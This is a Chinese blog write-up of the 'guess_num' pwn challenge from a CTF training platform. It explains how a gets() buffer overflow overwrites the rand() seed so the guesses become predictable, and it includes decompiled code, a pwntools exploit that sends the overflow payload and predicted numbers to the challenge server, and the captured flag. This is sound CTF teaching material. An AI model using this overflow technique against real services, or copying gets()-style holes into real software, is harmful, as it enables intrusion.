【攻防世界】Pwn系列之guess_num

【攻防世界】Pwn系列之guess_num

这个程序需要两个输入,意思让你输入一个数字

开启了NX和PIE保护,不能写入shellcode和覆盖地址指定程序自带系统命令

我们使用IDA反汇编打开该程序,查看其代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch] BYREF
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7[32]; // [rsp+10h] [rbp-30h] BYREF
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}

使用srand()随机生成数字然后进行处理得到v6,然后判断v6和输入的数字是否相等,经过10次循环的判断就能调用sub_C3E()函数使用系统命令system()查看flag。所以难点就是使得每次输入数字都为生成的随机数。这里提一下srand()函数,同一个rand函数使用同一个种子,同一个种子只会给同一个rand函数同一个值,所以多个rand()函数使用同一个srand()时所获得的值都不一样,即产生的随机数不同

想要使得每次生成的随机数都是固定的数字,需要将srand()的种子固定,我们来验证一下是否每次调用的随机数是否相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
#include<stdlib.h>

int main()
{
int b=0;
srand(1);
for(int i=0;i<5;i++)
{
b = rand()%6+1;
printf("%d\n",b);
}
return 0;
}

这个程序不管允许多少次,固定的种子rand()函数生成的伪随机数序列都是固定的

这里的get()刚好可以覆盖掉seed的值将其设置为固定值,并且在linux上计算下伪随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//伪随机数
#include <stdio.h>
#include <stdlib.h>
int main()
{
int b;
srand(0);
for (size_t i = 0; i <=9; i++)
{
b = rand() % 6 + 1;
printf("%d\n", b);
}
return 0;
}

得到伪随机数序列

1
2542625142

pwn代码如下:

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("61.147.171.105",60621)
payload = b'a' * 0x20 + p64(0)
p.sendlineafter("Your name:",payload)
rand = ['2','5','4','2','6','2','5','1','4','2']
for i in range(10):
p.sendlineafter("Please input your guess number:",rand[i])
p.interactive()

运行如下

得到flag

1
cyberpeace{fb2c0c1ddcc86ade3e2fa294e530bc1a}
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信